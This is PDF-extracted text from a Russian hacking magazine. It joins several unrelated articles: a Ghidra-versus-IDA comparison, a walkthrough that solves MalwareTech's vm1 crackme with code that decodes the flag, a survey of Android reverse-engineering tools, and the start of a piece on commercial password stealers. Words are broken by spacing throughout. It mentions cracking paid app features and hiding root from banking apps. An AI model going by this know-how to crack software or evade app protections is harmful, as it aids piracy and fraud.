v0 = __readgsqword(0x60u);
v1 = *(_QWORD **)(*(_QWORD *)(v0 + 24) + 24i64);
v2 = *(_QWORD **)(*(_QWORD *)(v0 + 24) + 24i64);
v3 = (const CHAR *)sub_140001448(&unk_140003000);
MultiByteToWideChar(0, 1u, v3, ‐1, &WideCharStr, 100);
while ( 1 )
{
v2 = (_QWORD *)*v2;
if ( v2[6] )
 break;

LABEL_9:
if ( v1 == v2 )
 return v2[6];

}
for ( i = &WideCharStr; ; ++i )
{
v5 = *(WCHAR *)((char *)i + v2[12] ‐ (_QWORD)&WideCharStr);
if ( !v5 && !*i )
 break;

if ( v5 < *i || v5 > *i )
 goto LABEL_9;

}
return v2[6];
}

Как по мне, так лис тинг Ghidra чита ется поп роще. Да, я знаю, что вывод Hex‐
Rays  гиб ко  нас тра ивает ся.  Помимо  это го,  есть  пла гин  HexRaysPyTools,
который помога ет еще улуч шить резуль тат. Но мы‐то преж де все го говорим
о том, что идет в ком плек те, а Hex‐Rays еще и сто ит отдель ных денег.

Так  или  ина че,  модуль  деком пиляции  в  Ghidra  могучий  и  впол не  может
сос тавить кон курен цию Hex‐Rays. А если зай ти в пап ку  ,
затем выб рать любую архи тек туру и далее зай ти в  , мож но
уви деть фай лы с рас ширени ями *.slaspec и *.pspec и еще некото рые. Гля дя
на  них,  понима ешь,  что  написать  под дер жку  сво ей  архи тек туры  —  впол не
реаль ная задача. Да, все‐таки откры тос ти кода силь но не хва тает IDA Pro!

\Ghidra\Processors
\data\languages

ЗАКЛЮЧЕНИЕ
Итак,  мы  рас смот рели фрей мворк  для  реверс‐инжи нирин га Ghidra.  Смо жет
ли  он  заменить  IDA  Pro?  Я  думаю,  что  на  дан ном  эта пе  сво его  сущес тво‐ 
вания — нет. Дело в том, что Java в качес тве язы ка для написа ния подоб ных
прог рамм, на мой взгляд, не луч ший выбор. И дело, конеч но, в ско рос ти.

Ди зас сем блер  работа ет  небыс тро,  осо бен но  на  тяжелых  фай лах.  Ска жу
боль ше:  фай лы  раз мером  свы ше  150  Мбайт  ревер сить  на  Ghidra  —  то
еще испы тание. С дру гой сто роны, Ghidra кросс‐плат формен на, и для кого‐то
это может быть важ но.

Сле дующий момент — это количес тво под держи ваемых архи тек тур и заг‐ 
рузчи ков  фай лов:  у  IDA  Pro  их  зна читель но  боль ше.  Еще  очень  не  хва тает
такой же плот ной интегра ции с отладчи ками, как в  IDA Pro. Опять же, откры‐ 
тость кодов (если NSA выпол нит обе щание) — это хорошо, да и воз можность
добав лять  под дер жку  дру гих  архи тек тур  —  по‐нас тояще му  кру тая  фиш ка.
Но пока будет выпол нена эта работа (и исправ лены баги), прой дут годы.

Во обще,  у  меня  сло жилось  стой кое  впе чат ление,  что  Ghidra  —  это  не
конеч ный про дукт. В том виде, в котором этот фрей мворк дос тупен сей час, он
тянет  на  бета‐вер сию  с  пуб личным  дос тупом,  но  никак  не  на  вер сию
под номером девять. Кста ти,  в  наз вании архи ва есть  сло во PUBLIC. Навер‐ 
няка где‐то есть еще и вер сия PRIVATE.

Бе зус ловно, у Ghidra есть свои силь ные сто роны, и в чем‐то она уже пре‐ 
вос ходит IDA Pro, но сла бых мест пока что нам ного боль ше. А вот раз работ‐ 
чикам IDA есть что поза имс тво вать в новом инс тру мен те. Нап ример, мне пон‐ 
равилась повышен ная информа тив ность  кода,  пред став ленно го  в  виде  гра‐ 
фа. Да и само пос тро ение гра фа кода выг лядит более стро го и упо рядо чен‐ 
но. Есть пат чинг инс трук ций без допол нитель ных пла гинов и без раз деления
на x64 и x86. Зачем дер жать два ярлы ка на рабочем сто ле, если дос таточ но
одно го? В общем, Иль факу еще есть куда дви гать ся! :)

mailto:xtahi0nix@gmail.com
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Что бы испы тать 
, соз данное в сте нах АНБ США, я решил

поломать  замеча тель ную  и  нес ложную
крэк ми  MalwareTech.  Выб рал  ее  нес лучай‐ 
но. В одной из сво их ста тей я 
о  том,  как  устро ена  вир туали зация  кода,
и мы даже  написа ли  прос тень кую  вир туал‐ 
ку.  А  теперь  давай  пос мотрим,  как  ломать
такую защиту.

но вое средс тво для ревер‐ 
са

рас ска зывал

Ска чать  крэк ми  мож но  ,  пароль  к  архи ву  —  тоже 
.

с  сай та  MalwareTech Mal‐
wareTech

Итак, для начала пос мотрим, что в архи ве. Видим исполня емый файл 
  и файл дам па  .  В  пояс нении  на  сай те  написа но,  что мы  име ем

дело  с  вось мибит ной  вир туаль ной  машиной.  Файл  дам па  —  не  что  иное,
как  кусок  памяти,  в  котором  впе ремеш ку  рас положе ны  ран домные  дан ные
и флаг, который мы дол жны най ти. Оста вим пока в покое файл дам па и пос‐ 
мотрим на   через прог рамму DiE.

vm1.
exe ram.bin

vm1.exe

Крэк ми в ана лиза торе Detect It Easy

DiE  не  показы вает  ничего  инте рес ного,  с  энтро пией  все  в  поряд ке.  Зна чит,
никакой  навес ной  защиты  нет,  но  про верить  все  рав но  сто ило.  Давай  заг‐ 
рузим  этот  файл  в  Ghidra  и  пос мотрим,  что  она  выдаст.  Я  при веду  пол ный
лис тинг при ложе ния без фун кций (он сов сем неболь шой) — что бы ты понял,
с чем мы име ем дело.

PUSH   EBP
MOV    EBP ,ESP
SUB    ESP ,0x94
LEA    ECX =>local_94 ,[0xffffff70  + EBP ]
CALL   MD5::MD5
PUSH   0x1fb
PUSH   0x0
CALL   dword ptr [‐>KERNEL32.DLL::GetProcessHeap ]
PUSH   EAX
CALL   dword ptr [‐>KERNEL32.DLL::HeapAlloc ]
MOV    [DAT_0040423c ],EAX
PUSH   0x1fb
PUSH   DAT_00404040
MOV    EAX ,[DAT_0040423c ]
PUSH   EAX
CALL   memcpy
ADD    ESP ,0xc
CALL   FUN_004022e0
MOV    ECX ,dword ptr [DAT_0040423c ]
PUSH   ECX
LEA    ECX =>local_94 ,[0xffffff70  + EBP ]
CALL   MD5::digestString
MOV    dword ptr [local_98  + EBP ],EAX
PUSH   0x30
PUSH   s_We've_been_compromised!_0040302c
MOV    EDX ,dword ptr [local_98  + EBP ]
PUSH   EDX
PUSH   0x0
CALL   dword ptr [‐>USER32.DLL::MessageBoxA ]
PUSH   0x0
CALL   dword ptr [‐>KERNEL32.DLL::ExitProcess ]
XOR    EAX ,EAX
MOV    ESP ,EBP
POP    EBP
RET

Как  видишь,  код  прос той  и  лег ко  чита ется.  Давай  вос поль зуем ся  деком‐ 
пилято ром Ghidra и пос мотрим, что он выдаст.

undefined4 entry(void)
{
HANDLE hHeap;
char *lpText;
DWORD dwFlags;
SIZE_T dwBytes;
MD5 local_94 [144];

MD5(local_94);

dwBytes = 0x1fb;
dwFlags = 0;

hHeap = GetProcessHeap();
DAT_0040423c = (char *)HeapAlloc(hHeap,dwFlags,dwBytes);
memcpy(DAT_0040423c,&DAT_00404040,0x1fb);

FUN_004022e0();

lpText = digestString(local_94,DAT_0040423c);
MessageBoxA((HWND)0x0,lpText,"We\'ve been compromised!",0x30);

ExitProcess(0);
return 0;
}

Я добавил отсту пы для удо бочи таемос ти — отде лил объ явле ния перемен ных
от осталь ного  кода. Код весь ма прос той: сна чала выделя ется память в  куче
(   ...  ),  далее  в  нее  копиру ется  0x1fb(507)  байт
из  . Но у нас нет ничего инте рес ного в 00404040! Вспо мина ем,
что  в  инс трук ции  к  крэк ми  говори лось,  что  ram.bin  —  это  кусок  памяти.
Разуме ется,  если  пос мотреть  раз мер  фай ла,  он  ока зыва ется  рав‐ 
ным 507 байт.

GetProcessHeap HeapAlloc
DAT_00404040

Заг ружа ем   в HxD или любой дру гой шес тнад цатерич ный редак тор
и смот рим.

ram.bin

Файл ram.bin в HxD Hex Editor

Увы, ничего внят ного там не обна ружи ваем. Но логика работы нем ного про‐ 
ясня ется:   —  это  ram.bin  (наши  выделен ные  507  байт  в  куче).
Давай  пере име нуем    в  RAM,  что бы  было  удоб нее  ори енти‐ 
ровать ся в коде. Далее заходим в фун кцию  .

DAT_0040423c
DAT_0040423c

FUN_004022e0

Гра фичес кое пред став ление фун кции FUN_004022e0

Вот деком пилиро ван ный код фун кции:

void FUN_004022e0(void)
{
byte bVar1;
uint uVar2;
byte bVar3;
byte local_5;

local_5 = 0;
do {
uVar2 = (uint)local_5;
bVar1 = local_5 + 1;
bVar3 = local_5 + 2;
local_5 = local_5 + 3;
uVar2 = FUN_00402270((byte *)(uint)*(byte *)(RAM + 0xff + uVar2),
                    (uint)*(byte *)(RAM + 0xff + (uint)bVar1),
                    *(undefined *)(RAM + 0xff + (uint)bVar3));
} while ((uVar2 & 0xff) != 0);
return;
}

Пос коль ку мы все‐таки зна ем, что перед нами вир туаль ная машина, все ста‐ 
новит ся  более‐менее  понят но.  Но  что бы  дей стви тель но  понять  псев докод,
всег да нуж но смот реть в дизас сем блер, ина че псев докод может запутать.

Псев докод и дизас сем блер Ghidra

Я  выделил  инс трук ции,  которые  выпол няют  инкре мент  перемен ных  на  еди‐ 
ницу. Пом ним, что у нас есть фун кция  , которая ини циали зиру‐ 
ется тре мя парамет рами. Смот рим ини циали зацию пер вого парамет ра.

FUN_00402270

MOVZX  ECX ,byte ptr [EBP  + local_5 ]
MOV    EDX ,dword ptr [RAM ]
MOVZX  EAX ,byte ptr [0xff  + EDX  + ECX *0x1 ]
MOV    dword ptr [EBP  + local_14 ],EAX
MOV    CL,byte ptr [EBP  + local_5 ]

ADD    CL,0x1   ; Инкремент переменной

Оче вид но,  что  берет ся  байт  из    и  им  ини циали зиру ется  перемен ная.
И  такой же  код при ини циали зации  каж дого аргу мен та фун кции, единс твен‐ 
ное  отли чие  —  меня ются  регис тры,  в  которых  будут  аргу мен ты  фун кции

. В ито ге вызов фун кции выг лядит таким обра зом:

[RAM]

FUN_00402270

MOV    ECX ,dword ptr [EBP  + local_c ]
PUSH   ECX
MOV    EDX ,dword ptr [EBP  + local_10 ]
PUSH   EDX
MOV    EAX ,dword ptr [EBP  + local_14 ]
PUSH   EAX
CALL   FUN_00402270

Итак, в   переда ются три парамет ра — три бай та из  , сле‐ 
дующие друг за дру гом. Заходим в фун кцию  , вот ее псев докод:

FUN_00402270 [RAM]
FUN_00402270

uint FUN_00402270(byte *param_1,int param_2,undefined param_3)
{
if (param_1 == (byte *)0x1) {
*(undefined *)(RAM + param_2) = param_3;
}
else {
if (param_1 == (byte *)0x2) {
 param_1 = (byte *)(RAM + param_2);
 DAT_00404240 = *param_1;

}
else {
 if (param_1 != (byte *)0x3) {
   return (uint)param_1 & 0xffffff00;
 }
 param_1 = (byte *)(RAM + param_2);
 *(byte *)(RAM + param_2) = *param_1 ^ DAT_00404240;

}
}
return CONCAT31((int3)((uint)param_1 >> 8),1);
}

Здесь про веря ется пер вый передан ный в фун кцию байт, и, если он сов пада ет
с  ,   или  , обра баты вают ся сле дующие два аргу мен та. Пар синг пер‐ 
вого  парамет ра  осо бен но  явно  чита ется  в  дизас сем блер ном  лис тинге.
По всей видимос ти, это интер пре татор команд вир туаль ной машины, который
содер жит все го три коман ды ВМ.

0x1 0x2 0x3

Гра фичес кое пред став ление интер пре тато ра в Ghidra

PUSH   EBP
MOV    EBP ,ESP
PUSH   ECX
MOV    EAX ,dword ptr [EBP  + param_1 ]
MOV    dword ptr [EBP  + local_8 ],EAX
CMP    dword ptr [EBP  + local_8 ],0x1
JZ     LAB_0040228e
CMP    dword ptr [EBP  + local_8 ],0x2
JZ     LAB_0040229e
CMP    dword ptr [EBP  + local_8 ],0x3
JZ     LAB_004022b0
JMP    LAB_004022d1

На этом эта пе я оста нов люсь нем ного под робнее, что бы под вести про межу‐ 
точ ный  итог.  Итак,  мы  име ем  при ложе ние,  работа ющее  с  507  байт  памяти,
дамп которых у нас есть — это ram.bin. Внут ри это го дам па дан ные, инте рес‐ 
ные нам, переме шаны с дру гими, ненуж ными нам дан ными. При ложе ние 

 чита ет побай тово память в поис ках инс трук ций  ,   и  , и, как толь‐ 
ко одна из них находит ся, обра баты вают ся сле дующие два бай та пос ле них.

vm1.
exe 0x1 0x2 0x3

Дру гими  сло вами,  мы  име ем  мне мони чес кие  коман ды  (p‐code,  пи‐код),
которые  работа ют  со  сво ими  дву мя  аргу мен тами,  а  область  памяти
в  507  байт  —  не  что  иное,  как  лен та  пи‐кода,  переме шан ная  с  мусором.
На  самом  деле  не  сто ит  пугать ся  мусора  —  обра бот ка  команд  нач нется
с нахож дения нуж ного бай та опко да, и будут взя ты сле дующие два зна чения,
а мусор поп росту про пущен.

INFO

P‐code,  или  «пи‐код»,  —  реали зация  мне моник
для  собс твен ного  интер пре тато ра  команд.  Его
еще  называ ют  кодом  «гипоте тичес кого  про цес‐ 
сора» — ведь, по сути, про цес сор для исполне ния
пи‐кода написан кем‐то самос тоятель но.

Те перь  давай  раз берем  зап рограм мирован ные  опко ды  команд,  пар синг
которых  выпол няет  код,  показан ный  выше.  Я  буду  сра зу  при водить  код
на язы ке C, ана логич ный дизас сем блер ному лис тингу.

LAB_0040228e:  
MOV    ECX ,dword ptr [RAM ]
ADD    ECX ,dword ptr [EBP  + param_2 ]
MOV    DL,byte ptr [EBP  + param_3 ]
MOV    byte ptr [ECX ],DL
JMP    LAB_004022d5

Нач нем вос ста нав ливать логику работы вир туаль ной машины. Объ явим 
  —  это  будет  память  вир туаль ной  машины.  В  этот  мас сив

при помощи фун кций   →   →   запишем содер жимое фай ла
ram.bin. Четыре строч ки ассем блер ного кода и переход — все прос то: в мас‐ 
сив    по  зна чению    переме щаем  зна чение  .
В коде это будет выг лядеть таким обра зом:

char 
ram[507]

fopen fread fwrite

ram [EBP  +  param_2] param_3

ram[val_01] = val_02;

На чина ем ана лизи ровать сле дующую под прог рамму:

LAB_0040229e:  
MOV    EAX ,[RAM ]
ADD    EAX ,dword ptr [EBP  + param_2 ]
MOV    CL,byte ptr [EAX ]
MOV    byte ptr [r1 ],CL    ; DAT_00404240
JMP    LAB_004022d5

Она очень похожа на пре дыду щую, это тоже ана лог опе рации MOV, но здесь
уже  исполь зует ся  один  из  двух  регис тров  вир туаль ной  машины
(  в лис тинге), в который кла дет ся зна чение из памяти ВМ. А с
нашей точ ки зре ния — из мас сива  , который адре сован   в дизас‐ 
сем блер ном  коде,  а  в  нашем  —  .  Дру гими  сло вами,  опе рация 

.

DAT_00404240
ram param_2
val_01 MOV 

reg,[mem]

int r1 = 0, r2 = 0; // Объявим регистры ВМ
r1 = ram[val_01];

Пос ледняя  под прог рамма  в  два  раза  слож нее  —  вмес то  четырех  стро чек
кода здесь восемь! Мы берем зна чение из памяти (пом нишь про наш мас сив

, куда мы записа ли содер жимое ram.bin?) и сох раня ем его в регистр вир‐ 
туаль ной  машины  (EDX),  далее  берем  пер вое  зна чение  пос ле  мне мони ки
в пи‐коде  (ECX) и выпол няем меж ду ними опе рацию XOR. Резуль тат  кла дем
обратно в память.

ram

LAB_004022b0:
MOVZX  EDX ,byte ptr [r1 ]  ; DAT_00404240
MOV    EAX ,[RAM ]
ADD    EAX ,dword ptr [EBP  + param_2 ]
MOVZX  ECX ,byte ptr [EAX ]
XOR    ECX ,EDX
MOV    EDX ,dword ptr [RAM ]
ADD    EDX ,dword ptr [EBP  + param_2 ]
MOV    byte ptr [EDX ],CL
JMP    LAB_004022d5

На язы ке C это будет выг лядеть таким обра зом:

r2 = ram[val_01];
ram[val_01] = r2 ^ r1;

Вот, собс твен но, и все. Вир туаль ная машина из трех команд вос ста нов лена,
оста лось при менить резуль таты нашего тру да к фай лу ram.bin, что бы заполу‐ 
чить иско мый флаг крэк ми. Как я уже говорил, для это го чита ем файл в 

  и  при меня ем  деком пилятор  кода  ВМ.  В  качес тве  бонуса  цикл
выведет мне мони ки  вир туаль ной машины  в  удо бочи таемом  виде,  а  в  кон це
напеча тает иско мый флаг. Я добавил в код уточ няющие ком мента рии.

char 
ram[507]

char ram[507];      // Память ВМ, ram.bin
int r1 = 0, r2 = 0; // Регистры ВМ

for (;;)
{
   int command = (int)ram[x];  // Берем опкод команды
   int val_01 = (int)ram[x + 1];   // Первый операнд команды
   int val_02 = (int)ram[x + 2];   // Второй операнд команды

   // Дешифровка кода
   if (command == 0x1)
   {
       ram[val_01] = val_02;
       cout << "mov " << "[" <<(int)ram[val_01] << "]" << "," << 
val_02 << endl;
   }
   if (command == 0x2)
   {
       r1 = ram[val_01];
       cout << "mov " << "r1" << "," << "[" << (int)ram[val_01] << 
"]" << endl;
   }
   if (command == 0x3)
   {
       r2 = ram[val_01];
       ram[val_01] = r2 ^ r1;
       cout << "xor " << "r2" << "," << "r1" << endl;
   }
   if (command > 3 || command < 1) break;
   x += 3;
}

printf("\n%s\n", &ram);     // Напечатаем результат

Пос ле выпол нения это го кода мы получим дизас сем бли рован ную ВМ и флаг.

Ре зуль тат работы вос ста нов ленной вир туаль ной машины

ЗАКЛЮЧЕНИЕ
Я наде юсь, что, про читав статью, ты перес танешь пугать ся слов «вир туаль ная
машина» или «пи‐код». Конеч но, в нас тоящих ком мерчес ких про тек торах вро‐ 
де VMProtect или Themida все будет нам ного слож нее: там может при менять‐ 
ся  мно жес тво  команд  вир туаль ной  машины,  их  мне мони ки‐коды  могут  пос‐ 
тоян но менять ся, встре чают ся вир туаль ные машины, раз ные анти отла доч ные
и анти дам повые при емы, написан ные на пи‐коде, и мно гое дру гое. Но пер вое
пред став ление ты получил.

За одно мы более близ ко поз накоми лись с инс тру мен тари ем под наз вани‐ 
ем Ghidra и совер шили с помощью нее пер вый взлом, пусть даже крэк ми! :‐)

mailto:xtahi0nix@gmail.com
https://xakep.ru/2019/03/20/nsa-ghidra/
https://xakep.ru/2019/02/20/virtual-obfuscation/
https://www.malwaretech.com/downloads/challenges/vm1.zip
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ВЗЛОМ

Ес ли  ты  занима ешь ся  ана лити кой  мобиль ных  при ложе ний
или раз рабаты ваешь их,  то зна ешь о таких дес ктоп ных инс‐ 
тру мен тах,  как  ,    или  .  Но  быва ет,  что  компь‐ 
юте ра под рукой нет, а тебе сроч но нуж но про ана лизи ровать
при ложе ние. В этой статье я при веду при меры хороших ути‐ 
лит для Android, которые помогут тебе решить эту проб лему.

IDA apktool Jadx

ЭМУЛЯТОР ТЕРМИНАЛА ДЛЯ ANDROID
Инс тру мен том    я  поль зуюсь  очень  дав но.  Он
полезен  для  запус ка  раз личных  команд  на  мобиль ном  устрой стве.  А  с  пра‐ 
вами  root  воз можнос тей  будет  еще  боль ше:  нап ример,  ты  смо жешь  пос‐ 
мотреть  информа цию  о  любом  про цес се  или  получить  дос туп  к  фай лам
любого при ложе ния.

Terminal  Emulator  for  Android

Terminal Emulator for Android

Это чем‐то похоже на  , толь ко в кон тек сте мобиль ного при ложе ния.ADB

XPOSED INSTALLER

Xposed Installer

 работа ет толь ко под рутом и поз воля ет изме нять при ложе‐ 
ния и сис темные сер висы Android. Самые  типич ные при меры модифи каций:
уда ление из при ложе ний рек ламы, переназ начение задач на основные кноп‐ 
ки, уве личе ние вре мени работы батареи. Зву чит весь ма здо рово, не так ли?
Одна ко  самая  рас простра нен ная  проб лема,  с  которой  стал кива ется  боль‐ 
шинс тво  жела ющих  пос тавить  этот  инс тру мент,  —  слож ность  уста нов ки.
Очень час то это при ложе ние прос то не ста вит ся на девайс. Иног да уста нов ка
Xposed может «окир пичить» устрой ство.

Этот инс тру мент

Прин цип  плат формы  Xposed  зак люча ется  в  спо соб ности  заг ружать  код
для  опре делен ного  модуля  Java  перед  началом  любого  ,  тем
самым  кон тро лируя его поведе ние.  Так  что модули Xposed могут  выпол нять
код  при  запус ке  про цес са  при ложе ния.  Воз можно,  зву чит  вдох новля юще,
но на самом деле это страш ная вещь. Нап ример, ты запус каешь модуль, а он
зах ватыва ет  все  воз можные фун кции  при ложе ния,  вклю чая  перево ды  денег
и ввод паролей, если такое поведе ние пре дус мотре но в при ложе нии. Поэто‐ 
му, если ты не доверя ешь авто ру кон крет ного модуля, советую воз держать ся
от его уста нов ки на свое устрой ство.

app_process

Луч ше поп робуй написать свой собс твен ный  , в котором ты будешь
пол ностью уве рен.

мо дуль

INFO

Под робнее о работе с Xposed читай в статье «

».  На  дес кто пе  в  качес тве  аль тер нативы
мож но исполь зовать Frida, под робнее — в статье
«

».

Сам
себе  мод дер:  как  изме нить  Android  с  помощью
Xposed

Инъ екция  для  андро ида.  Внед ряем  код  в  чужие
при ложе ния с помощью Frida

MT MANAGER
Очень мощ ный и прос той в исполь зовании инс тру мент для управле ния фай‐ 
лами.

MT Manager

Он  пред назна чен  для  редак тирова ния,  кло ниро вания,  шиф рования  и  опти‐ 
миза ции  поль зователь ских  и  сис темных  фай лов  APK  пря мо  на  телефо не.
Фак тичес ки  это  фай ловый  менед жер,  который  может  работать  с  APK  и  его
содер жимым.  Его  час то  исполь зуют  для  того,  что бы  взло мать  плат ные фун‐ 
кции при ложе ния.

Прин цип работы это го инс тру мен та доволь но прост: он ана лизи рует фай‐ 
лы DEX и фай лы ресур сов APK, поз воля ет изме нять их, а затем перепа ковы‐ 
вает. MT Manager мож но най ти  .в откры том дос тупе

INFO

 — ана лог при ложе ния для пер сональ‐ 
ного компь юте ра.
APK Studio

ROOT EXPLORER
Этот инс тру мент доволь но известен, его фун кции схо жи с тем, что дела ет MT
Manager, но он боль ше ори енти рован на прос мотр, изме нение и дру гие опе‐ 
рации  над  все ми  фай лами,  которые  находят ся  на  устрой стве. 
отлично спра вит ся с прос мотром базы дан ных или фай лов XML из песоч ницы
при ложе ния,  поэто му  обыч но  этот  инс тру мент  исполь зуют  тес тиров щики
и ауди торы безопас ности.

Root  Explorer

Пос ле уста нов ки RE его интерфейс
выг лядит так

Здесь  отоб ража ется  кор невой  каталог  мобиль ного  телефо на.  Его  мож но
изме нить.  Пос ле  ты  можешь  изме нить  каталог  RE  по  умол чанию,  что бы  он
откры вал ся сра зу в удоб ном для тебя мес те.

В  катало ге    уста нов лено  прог рам мное  обес печение  устрой ства.
Этот раз дел исполь зует ся для уста нов ки при ложе ний, сох ранения фай ла нас‐ 
тро ек. При ложе ния,  которые были  уста нов лены  в  память  устрой ства, мож но
най ти в катало ге  .

/data

/data/app

RE /data

 — прос транс тво кар ты памяти. В сис теме Android при ложе ние может
быть уста нов лено в двух мес тах:   или  .
sdcard

data sdcard
По мимо  это го,  есть  еще  сис темные  при ложе ния,  которые  находят ся

в  катало ге  .  Если  ты  хочешь  уда лить  пре дус танов ленное  при‐ 
ложе ние,  тебе  сюда,  но  будь  осто рожен.  Перед  уда лени ем  при ложе ния
из это го катало га убе дись, что сис тема в нем не нуж дает ся, ина че при дет ся
переп рошивать аппа рат.

/system/app

SUPERSU
 был написан раз работ чиком, извес тным под ником  .SuperSU ChainFire

SuperSU

По  наз ванию  понят но,  что  это  при ложе ние  необ ходимо  для  управле ния
устрой ством с пра вами супер поль зовате ля. Если ты рутиро вал свой телефон,
то  дол жен  понимать,  что  любое  при ложе ние  может  зах ватить  повышен ные
пра ва и сде лать  что‐то очень нехоро шее. Как раз для  таких ситу аций нужен
SuperSU, который поз воля ет кон тро лиро вать дос туп при ложе ний к  root: нап‐ 
ример,  давать  при виле гии  на  огра ничен ное  количес тво  вре мени.  Помимо
это го, с его помощью мож но по умол чанию отклю чить воз можность получе‐ 
ния   некото рым при ложе ниям.su

INFO

К  сожале нию,  4  октября  2017  года  ChainFire
опуб ликовал  заяв ление  «Выход  SuperSU  на  пен‐ 
сию»  в  сво ем  Google+.  Он  заявил,  что  боль ше
не  будет  учас тво вать  в  раз витии  SU  и  про даст
свое детище китай ской ком мерчес кой ком пании.

MAGISK
Magisk — это сис темный адми нис тра тор прав супер поль зовате ля. Он име ет
две основные фун кции: управле ние раз решени ями root и уста нов ка модулей
рас ширений с раз личны ми фун кци ями.

Ког да мы говорим об адми нис три рова нии root, мно гие сра зу дума ют о Su‐
perSU. Но, как я уже говори ла, автор покинул свой про ект. На его замену при‐ 
шел Magisk.

Magisk

По нача лу  заменить  SuperSU  было  доволь но  слож но,  и,  нес мотря  на  проб‐ 
лемы с под дер жкой, мно гие все рав но про дол жали им поль зовать ся. К тому
же  у Magisk  до  недав него  вре мени был очень  гру бый  интерфейс,  что  так же
отпу гива ло  потен циаль ных  поль зовате лей.  Теперь  интерфейс  стал  более
при ятен гла зу, в соот ветс твии со спе цифи каци ей Google Material Design.

Это при ложе ние было   из Google Play, но его все еще мож но най ти
в  .

уда лено
от кры том дос тупе

Здесь мы скры ваем от Root Checker,
что устрой ство рутиро вано

Са мая популяр ная фун кция Magisk — скры тие root от выб ранных при ложе ний,
к при меру бан ков ских кли ентов, которые обыч но не хотят работать на рутиро‐ 
ван ном устрой стве.

INFO

Под робнее о Magisk — в статье «
».

Magisk. Модифи‐ 
циру ем про шив ку Android с ком фортом

ROOT CHECKER
С помощью это го при ложе ния мож но про верить наличие прав root на устрой‐ 
стве.  Выше,  говоря  о Magisk,  я  отме тила,  что  root  дол жен  скрыть ся  от  Root
Checker. На скрин шоте — резуль тат этой манипу ляции.

При ложе ние может  делать  зап рос  к  SafetyNet,  где  содер жится  информа ция
об устрой ствах. Это поз воля ет оце нить безопас ность и сов мести мость сре ды
Android, в котором работа ют при ложе ния.

SafetyNet

SafetyNet  про веря ет  информа цию  о  прог рам мном  и  аппа рат ном  обес‐ 
печении  аппа рата,  на  котором  уста нов лено  при ложе ние,  а  пос ле  соз дает
про филь  это го  устрой ства.  Затем  ищет  в  сво ей  базе  подоб ный  про филь
устрой ства  сре ди  дос тупных  ему  моделей,  которые  прош ли  тес тирова ние
на сов мести мость с Android. Помимо это го, оце нива ется целос тность прог‐ 
рам мно го и аппа рат ного обес печения устрой ства, а так же про веря ется APK,
который выпол нил зап рос.

HEX EDITOR
 поз волит пос мотреть любой файл на устрой стве в шес тнад‐ 

цатерич ном  виде.  Hex  Editor  мож но  исполь зовать  вмес те  с  MT  Manager
для редак тирова ния фай ла APK.

Этот инс тру мент

Hex Editor

С  помощью  при ложе ния  мож но  нап рямую  редак тировать  содер жимое
памяти.  Так же  Hex  Editor  име ет  фун кцию  экспор та  дан ных:  ты  можешь  нап‐ 
рямую  выводить  шес тнад цатерич ные  дан ные  в  C,  Java  и  дру гие  фор маты
прог рам мно го  кода.  Бла года ря  импорту  дан ных  непос редс твен но  в  прог‐ 
рамму ты изба вишь ся от необ ходимос ти делать это вруч ную.

SHOW JAVA
Иног да  нуж но  быс тро  деком пилиро вать  при ложе ние,  которое  уже  уста нов‐ 
лено на устрой стве, и   отлично подой дет для решения этой задачи.
Эта  прог рамма  поз воля ет  деком пилиро вать  APK  и  прос матри вать  рас‐ 
пакован ные фай лы.

Show Java

Show Java и Java decompile

INFO

На  пер сональ ном  компь юте ре  советую  вос поль‐ 
зовать ся JADX или  .javadecompilers

Это мой рабочий стол, и я уве рена
в этих инс тру мен тах

Эти инс тру мен ты поз воля ют иссле дова телю быть более мобиль ным и делать
инте рес ные вещи и без компь юте ра. Наде юсь, и ты узнал новые пути для ана‐ 
лити ки мобиль ных при ложе ний и тебе было инте рес но.

Не забывай пос тоян но обновлять набор сво их инс тру мен тов!

https://t-do.ru/joinchat/AAAAAEuVCSjFmnEBf76Hqw
https://www.hex-rays.com/products/ida/
https://ibotpeaches.github.io/Apktool/install/
https://www.aldeid.com/wiki/Jadx
https://play.google.com/store/apps/details?id=jackpal.androidterm&hl=ru
https://developer.android.com/studio/command-line/adb
https://play.google.com/store/apps/details?id=com.xposedfreeinstaller.android
https://github.com/rovo89/XposedBridge/wiki/Development-tutorial
https://xakep.ru/2014/01/28/61958/
https://xakep.ru/2018/03/19/android-frida/
https://4pda.ru/forum/index.php?showtopic=548542
https://cryptoworld.su/apk-studio/
https://play.google.com/store/apps/details?id=com.speedsoftware.rootexplorer&hl=ru
https://play.google.com/store/apps/details?id=eu.chainfire.supersu
https://chainfire.eu/
https://trashbox.ru/topics/110139/magisk-manager-udalen-iz-magazina-google-play
https://trashbox.ru/link/magisk-manager-android
https://xakep.ru/2017/05/25/magisk-android-firmware-customization/
https://play.google.com/store/apps/details?id=com.myprog.hexedit&hl=ru
https://play.google.com/store/apps/details?id=com.njlabs.showjava
http://www.javadecompilers.com/
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ВЗЛОМ

Ос тап  Бен дер  утвер ждал,  что  ему  извес тно  как  минимум
четырес та  спо собов  срав нитель но  чес тно го  отъ ема  денег
у  населе ния.  Вряд  ли  я  оши бусь,  пред положив,  что  сов‐ 
ремен ные  оби тате ли  кибер подполья  дав ным‐дав но  прев‐ 
зошли  в  уме ниях  Велико го  ком бинато ра.  Прав да,  мно гие
из  них  балан сиру ют  в  сво ей  деятель нос ти  на  гра ни  откро‐ 
вен ного  кри мина ла,  а  некото рые  даже  перес тупили  эту
грань. Кто‐то спа мит, кто‐то ска мит, кто‐то пишет в сво бод‐ 
ное от домаш ки вре мя тро янов, а дру гие их про дают в Сети.

Сре ди  ком мерчес ких  тро ев  отдель ную  нишу  занима ют  сти леры  и  подоб ная
спай варь. Оно и неуди витель но: чужие сек реты всег да были в цене. Сегод ня
мы  побесе дуем  о  дос тупных  в  сво бод ной  про даже  тро янах‐шпи онах,  об  их
осо бен ностях, фун кци ональ ных воз можнос тях и методах борь бы с этим все‐ 
лен ским злом. Прис тупим, пожалуй. Сес тра, скаль пель!

N0F1L3
Сти лер со столь труд нопро изно симым наз вани ем активно про давал ся в Сети
до тех пор, пока   не заин тересо вались суровые люди в погонах. Пер‐ 
вая вер сия тро янчи ка была написа на на .NET, вто рая, наз ванная N0F1L3v2, —
на С#. Трой спе циали зиро вал ся на хищении паролей из бра узе ров Chrome,
Opera, Yandex, Torch, Amiga, Cometa и Orbitum.

ав тором

Так про давал ся N0F1L3

Сти лер был  выс тавлен  на  про дажу  сра зу  на  нес коль ких форумах  по  весь ма
скром ной цене, при чем в двух вер сиях: за 15 и 45 дол ларов соот ветс твен но.
Исходни ки автор сли вал за 600 дол ларов. Пер вый релиз тре бовал для работы
